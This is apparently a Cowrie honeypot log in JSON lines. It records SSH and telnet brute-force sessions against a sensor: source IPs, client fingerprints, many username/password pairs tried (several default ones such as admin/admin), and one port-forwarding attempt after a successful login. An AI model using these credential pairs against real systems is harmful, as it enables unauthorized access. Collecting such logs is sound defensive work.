{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssw0rd","message":"login attempt [ubuntu/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:06.810490Z","src_ip":"14.103.112.179","session":"558f0592297c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:08.071527Z","src_ip":"14.103.112.179","session":"558f0592297c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":58905,"dst_ip":"10.17.0.5","dst_port":22,"session":"61c0696b221f","protocol":"ssh","message":"New connection: 202.165.15.132:58905 (10.17.0.5:22) [session: 61c0696b221f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:17.460489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:17.464397Z","src_ip":"202.165.15.132","session":"61c0696b221f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:17.704317Z","src_ip":"202.165.15.132","session":"61c0696b221f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd123!","message":"login attempt [ubuntu/P@ssw0rd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:18.694791Z","src_ip":"202.165.15.132","session":"61c0696b221f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:19.938790Z","src_ip":"202.165.15.132","session":"61c0696b221f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.451910734176636,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:22.638901Z","src_ip":"212.55.149.117","session":"cf28cc35d5d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35888,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6a54873a728","protocol":"ssh","message":"New connection: 193.32.162.145:35888 (10.17.0.5:22) [session: a6a54873a728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:38.571966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:38.576899Z","src_ip":"193.32.162.145","session":"a6a54873a728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:38.687150Z","src_ip":"193.32.162.145","session":"a6a54873a728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:39.001021Z","src_ip":"193.32.162.145","session":"a6a54873a728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:40.101163Z","src_ip":"193.32.162.145","session":"a6a54873a728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00562739372253,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:56:56.510411Z","src_ip":"212.55.149.117","session":"f982cb906bee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55802,"dst_ip":"10.17.0.5","dst_port":22,"session":"735878cdef24","protocol":"ssh","message":"New connection: 87.251.64.176:55802 (10.17.0.5:22) [session: 735878cdef24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:03.544054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:03.548972Z","src_ip":"87.251.64.176","session":"735878cdef24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:03.646950Z","src_ip":"87.251.64.176","session":"735878cdef24","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:03.939518Z","src_ip":"87.251.64.176","session":"735878cdef24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:04.043134Z","session":"735878cdef24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:04.141460Z","src_ip":"87.251.64.176","session":"735878cdef24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:04.373981Z","src_ip":"87.251.64.176","session":"735878cdef24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46256,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce17f748fefd","protocol":"ssh","message":"New connection: 103.15.226.202:46256 (10.17.0.5:22) [session: ce17f748fefd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:18.069249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:18.073602Z","src_ip":"103.15.226.202","session":"ce17f748fefd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:18.320930Z","src_ip":"103.15.226.202","session":"ce17f748fefd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DDNSolutions4U","message":"login attempt [root/DDNSolutions4U] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:19.063416Z","src_ip":"103.15.226.202","session":"ce17f748fefd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:20.314511Z","src_ip":"103.15.226.202","session":"ce17f748fefd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":32392,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ca2710fa730","protocol":"telnet","message":"New connection: 212.55.149.117:32392 (10.17.0.5:23) [session: 3ca2710fa730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:42.757642Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55504,"dst_ip":"10.17.0.5","dst_port":22,"session":"c40f3f587c0f","protocol":"ssh","message":"New connection: 193.32.162.145:55504 (10.17.0.5:22) [session: c40f3f587c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:45.365752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:45.371092Z","src_ip":"193.32.162.145","session":"c40f3f587c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:45.492804Z","src_ip":"193.32.162.145","session":"c40f3f587c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:45.809957Z","src_ip":"193.32.162.145","session":"c40f3f587c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:58:46.912951Z","src_ip":"193.32.162.145","session":"c40f3f587c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.14.89.9","src_port":8154,"dst_ip":"10.17.0.5","dst_port":22,"session":"56ab4f714ac6","protocol":"ssh","message":"New connection: 209.14.89.9:8154 (10.17.0.5:22) [session: 56ab4f714ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:22.644715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:22.649884Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:22.765933Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:99:d0:bf:2b:e9:06:e3:bb:c8:d1:fe:df:dc:25:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjW3IWHwclhPGbyc7GbJTJ/FDSoR+iQMykCR4qvFgKBblLzOy4yyEVqpgUHm5kwXvL8IHaRRqvEbDpkOMlZJU/dMx77vOA5XTebu1wCJ0woVNQXFoAzp2EtiHJ3hyA3BH6dF+cPioL0lE1a2D5S3+daVsNYcMKxlfQaRLLWDGPhTn58vjZLo0WsJbqZJxCCAMhQpjuIxEfpbIdKw7oYHfJdPL3f8u3gnk7zydF4PH5KjWsdq2pqmT8fVCjZ12+k7WI4t092C6Eh1pyvRjCQ5i03TlRo/XBMOTa1HYOjpRkU9UMFPqqJq9uukmXfwvzKBaL8Jyz6UkPvNcbdPiBdoOD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:99:d0:bf:2b:e9:06:e3:bb:c8:d1:fe:df:dc:25:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.321913Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:99:d0:bf:2b:e9:06:e3:bb:c8:d1:fe:df:dc:25:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjW3IWHwclhPGbyc7GbJTJ/FDSoR+iQMykCR4qvFgKBblLzOy4yyEVqpgUHm5kwXvL8IHaRRqvEbDpkOMlZJU/dMx77vOA5XTebu1wCJ0woVNQXFoAzp2EtiHJ3hyA3BH6dF+cPioL0lE1a2D5S3+daVsNYcMKxlfQaRLLWDGPhTn58vjZLo0WsJbqZJxCCAMhQpjuIxEfpbIdKw7oYHfJdPL3f8u3gnk7zydF4PH5KjWsdq2pqmT8fVCjZ12+k7WI4t092C6Eh1pyvRjCQ5i03TlRo/XBMOTa1HYOjpRkU9UMFPqqJq9uukmXfwvzKBaL8Jyz6UkPvNcbdPiBdoOD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.325651Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:e6:8a:39:ca:26:e1:44:1f:94:07:3b:41:9b:ca:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiXvY4q8JeUgkJTwhRW8DZ0D4Lq9PwOOobnI9H2ZNfDQZ87+zi57Y/mw+5wKjLEYfhxjYdSpGMsdol2FhlT8K7OzEo4lDO8b2RjlhopozjSxeuNAiV+jTwqODtRlUyptUizWMvAtEcm77fDrGc+DPuzLV9I5YiTFDJ7FwXvYi2pba5+EuQTazXdZWf2BgJ5TLW9Ois+QqMeNlYAjMeIzSQMoQYt0KO42fwPESTSO3JHhs9xuB4NQuZ8E1tLkyA1jOEwan9SXUiavtDJzr2BGJKDGJbmmABDA9VTG3R+zPxanMr0XyK8/MX9tLMJmicYZ1ex7ngLzjamCp4VOIm+/N/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:e6:8a:39:ca:26:e1:44:1f:94:07:3b:41:9b:ca:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.441850Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:e6:8a:39:ca:26:e1:44:1f:94:07:3b:41:9b:ca:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiXvY4q8JeUgkJTwhRW8DZ0D4Lq9PwOOobnI9H2ZNfDQZ87+zi57Y/mw+5wKjLEYfhxjYdSpGMsdol2FhlT8K7OzEo4lDO8b2RjlhopozjSxeuNAiV+jTwqODtRlUyptUizWMvAtEcm77fDrGc+DPuzLV9I5YiTFDJ7FwXvYi2pba5+EuQTazXdZWf2BgJ5TLW9Ois+QqMeNlYAjMeIzSQMoQYt0KO42fwPESTSO3JHhs9xuB4NQuZ8E1tLkyA1jOEwan9SXUiavtDJzr2BGJKDGJbmmABDA9VTG3R+zPxanMr0XyK8/MX9tLMJmicYZ1ex7ngLzjamCp4VOIm+/N/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:59:23.448531Z","src_ip":"209.14.89.9","session":"56ab4f714ac6","protocol":"ssh"}
